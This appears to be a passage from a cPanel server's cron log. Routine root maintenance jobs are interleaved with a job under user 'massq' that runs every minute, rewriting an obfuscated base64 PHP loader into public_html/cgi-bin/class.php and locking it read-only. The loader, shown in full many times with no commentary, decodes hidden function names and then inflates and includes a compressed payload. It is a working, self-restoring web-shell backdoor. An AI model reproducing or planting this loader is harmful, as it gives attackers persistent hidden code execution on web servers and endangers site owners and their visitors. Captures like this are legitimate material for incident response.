jm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 02:46:01 server CROND[29229]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 02:46:01 server CROND[29230]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 02:46:01 server CROND[29231]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 02:47:01 server CROND[29605]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 02:47:01 server CROND[29606]: (root) CMD (  bash -c 'sleep $((RANDOM % 1800))'; /usr/libexec/report-command-error /opt/imunify360/venv/share/imunify360/scripts/imunify-check-pkg-integrity >/dev/null 2>&1)
Sep  7 02:47:01 server CROND[29608]: (root) CMD ((/usr/local/cpanel/scripts/fix-cpanel-perl; /usr/local/cpanel/scripts/upcp --cron > /dev/null 2>&1 > /dev/null))
Sep  7 02:47:01 server CROND[29607]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 02:47:01 server CROND[29613]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 02:47:52 server crontab[10339]: (root) LIST (root)
Sep  7 02:47:52 server crontab[10341]: (root) LIST (root)
Sep  7 02:47:57 server crontab[10467]: (root) LIST (root)
Sep  7 02:48:01 server crond[1999]: (*system*) RELOAD (/etc/cron.d/cpanel_ssl_reissue)
Sep  7 02:48:01 server crond[1999]: (bespokeapps) ORPHAN (no passwd entry)
Sep  7 02:48:01 server crond[1999]: (massivedesign) WRONG FILE OWNER (/var/spool/cron/massivedesign)
Sep  7 02:48:01 server CROND[10569]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 02:48:01 server CROND[10570]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 02:48:01 server CROND[10577]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 02:49:01 server CROND[11563]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 02:49:01 server CROND[11564]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 02:49:01 server CROND[11565]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 02:50:01 server CROND[11988]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  7 02:50:01 server CROND[11990]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  7 02:50:01 server CROND[11991]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  7 02:50:01 server CROND[11996]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  7 02:50:01 server CROND[11993]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  7 02:50:01 server CROND[11992]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  7 02:50:01 server CROND[11995]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 02:50:01 server CROND[11994]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 02:50:01 server CROND[11997]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 02:51:01 server CROND[13009]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 02:51:01 server CROND[13010]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 02:51:01 server CROND[13011]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 02:52:01 server CROND[13426]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 02:52:01 server CROND[13428]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 02:52:01 server CROND[13427]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 02:53:01 server CROND[13821]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 02:53:01 server CROND[13822]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 02:53:01 server CROND[13823]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 02:54:01 server CROND[14206]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 02:54:01 server CROND[14208]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 02:54:01 server CROND[14209]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 02:55:01 server CROND[14572]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 02:55:01 server CROND[14573]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  7 02:55:02 server CROND[14576]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  7 02:55:02 server CROND[14578]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  7 02:55:02 server CROND[14577]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 02:55:02 server CROND[14580]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  7 02:55:02 server CROND[14581]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 02:56:01 server CROND[15435]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 02:56:01 server CROND[15436]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 02:56:01 server CROND[15438]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 02:57:01 server CROND[15851]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 02:57:01 server CROND[15852]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  7 02:57:01 server CROND[15854]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 02:57:01 server CROND[15857]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRf